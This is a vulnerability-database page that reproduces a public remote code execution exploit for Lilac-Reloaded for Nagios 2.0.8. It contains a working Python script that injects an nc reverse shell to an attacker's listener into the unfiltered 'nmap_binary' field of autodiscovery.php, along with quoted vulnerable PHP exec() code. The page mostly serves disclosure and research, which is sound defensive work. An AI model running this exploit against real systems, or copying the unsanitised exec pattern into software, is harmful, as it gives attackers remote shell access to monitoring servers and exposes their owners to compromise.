Lucene search
K

Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution Exploit

🗓️ 20 Apr 2023 00:00:00Reported by Zoltan PadanyiType 
zdt
 zdt
🔗 0day.today👁 303 Views

Lilac-Reloaded 2.0.8 - Remote Code Execution in Nagios

Code
#!/usr/bin/env python

"""
# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)
# Exploit Author: max / Zoltan Padanyi
# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit
# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download
# Version: 2.0.8
# Tested on: Debian 7.6
# CVE : N/A

The autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;

Use at your own risk!

RCA - wild exec is ongoing without any filtering

in library/Net/Traceroute.php

   181	    function _setTraceroutePath($sysname)
   182	    {
   183	        $status    = '';
   184	        $output    = array();
   185	        $traceroute_path = '';
   186
   187	        if ("windows" == $sysname) {
   188	            return "tracert";
   189	        } else {
   190	            $traceroute_path = exec("which traceroute", $output, $status);
   [...]
   257	    function traceroute($host)
   258	    {
   259
   260	        $argList = $this->_createArgList();
   261	        $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1];
   262	        exec($cmd, $this->_result);


"""

import requests
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True)
parser.add_argument("-i", "--ip", help="Listener IP", required=True)
parser.add_argument("-p", "--port", help="Listener port", required=True, type=int)
args = parser.parse_args()

rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;"

body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}

try:
    r = requests.get(args.url)
    if r.ok:
	    print("[+] URL looks good...moving forward...")
	    print("[+] Sending exploit in...")
	    r = requests.post(args.url,data=body)
	    if r.ok:
		    print("[+] Got HTTP 200, check your listener!")
    else:
	    print("[-] Some kind of error happened, check the http response below!")
	    print(r.text)
except Exception as e:
	print("General exception: " + str(e))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation